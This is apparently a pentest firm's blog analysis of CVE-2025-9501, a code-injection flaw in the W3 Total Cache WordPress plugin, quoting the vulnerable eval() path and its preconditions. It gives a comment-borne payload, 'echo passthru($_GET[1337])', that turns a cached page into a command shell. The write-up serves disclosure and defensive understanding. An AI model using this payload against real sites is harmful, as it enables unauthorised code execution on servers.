We recently came across a very brief vulnerability announcement made by WPScan about CVE-2025-9501, which is described as an “Unauthenticated Command Injection” in the quite famous W3 Total Cache plugin for WordPress. This immediately caught our attention because with 1+ million active installations, it is one of the more wide-spread plugins, which we’ve also encountered numerous times in our customer pentests. Since we didn’t believe that it was so easy to exploit, we decided to take WPScan’s one-liner advisory, analysed the plugin’s cache parsing, and build an exploit for it. Kudos to the original researcher “wcraft” who submitted this bug to WPScan.
TL;DR: It is technically a pretty straightforward Remote Code Execution, but
- The attacker needs to know the
W3TC_DYNAMIC_SECURITYsecret. - Comments must be enabled for unauthenticated users; otherwise it’s just a Post-Auth vulnerability.
- Page Cache needs to be enabled in the plugin (disabled by default, but it’s the core functionality)
W3TC_DYNAMIC_SECURITY
According to WPScan’s advisory, the code execution happens in a function called _parse_dynamic_mfunc which is part of the PgCache_ContentGrabber class. It indeed uses eval() to execute some code that comes through its first argument $matches:
public function _parse_dynamic_mfunc( $matches ) {
$code1 = trim( $matches[1] );
$code2 = trim( $matches[2] );
$code = ( $code1 ? $code1 : $code2 );
if ( $code ) {
$code = trim( $code, ';' ) . ';';
try {
ob_start();
$result = eval( $code ); // phpcs:ignore Generic.PHP.ForbiddenFunctions.Found
$output = ob_get_contents();
ob_end_clean();
} catch ( Exception $ex ) {
$result = false;
}
if ( false === $result ) {
$output = sprintf( 'Unable to execute code: %s', htmlspecialchars( $code ) );
}
} else {
$output = htmlspecialchars( 'Invalid mfunc tag syntax. The correct format is: or PHP code.' );
}
return $output;
}
But how do we actually reach this function?
PgCache_ContentGrabber also defines a function called _parse_dynamic, which uses _parse_dynamic_mfunc in a preg_replace_callback(). This essentially means that the plugin searches through some buffer for what looks like an mfunc “comment”:
public function _parse_dynamic( $buffer ) {
// The W3TC_DYNAMIC_SECURITY constant should be a unique string and not an int or boolean.
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
return $buffer;
}
$buffer = preg_replace_callback(
'~(.*)~Uis',
array(
$this,
'_parse_dynamic_mfunc',
),
$buffer
);
$buffer = preg_replace_callback(
'~(.*)~Uis',
array(
$this,
'_parse_dynamic_mclude',
),
$buffer
);
return $buffer;
}
What stands out here is the check on line 3 for a constant called “W3TC_DYNAMIC_SECURITY”. As you can see in the documentation, you have to explicitly define this constant in the wp-config.php file like this:
define('W3TC_DYNAMIC_SECURITY', 'rcesec');
And this is the actual roadblock. To successfully exploit this code injection, you need to know the constant’s value. Lazy admins might use the value mycode from the documentation, but you might also use something else as shown above.
Exploitation
However, if the attacker knows the W3TC_DYNAMIC_SECURITY string, then the code execution is quite straightforward to achieve. When the “Page Cache” is enabled in the plugin:
Then _parse_dynamic is always called through process_cached_page_and_exit whenever a cached page is processed:
if ( $this->_caching && ! $this->_late_caching ) {
$this->_cached_data = $this->_extract_cached_page( false );
if ( $this->_cached_data ) {
if ( $this->_late_init ) {
$w3_late_init = true;
return;
} else {
$this->process_status="hit";
$this->process_cached_page_and_exit( $this->_cached_data );
// if is passes here - exit is not possible now and will happen on init.
return;
}
} else {
$this->_late_init = false;
}
} else {
$this->_late_init = false;
}
So a comment like the following which references the configured W3TC_DYNAMIC_SECURITY constant can ultimately be used to execute arbitrary code:
echo passthru($_GET[1337])
If comments are enabled for unauthenticated users, then you’ve got an unauthenticated RCE:

At RCE Security, we use both 0-day and n-day vulnerabilities in our penetration tests to reflect realistic attacker behaviour. This helps us identify and validate weaknesses that might otherwise go unnoticed, so you get a clear, practical view of your actual risk. Want to get a real penetration test? Contact us!
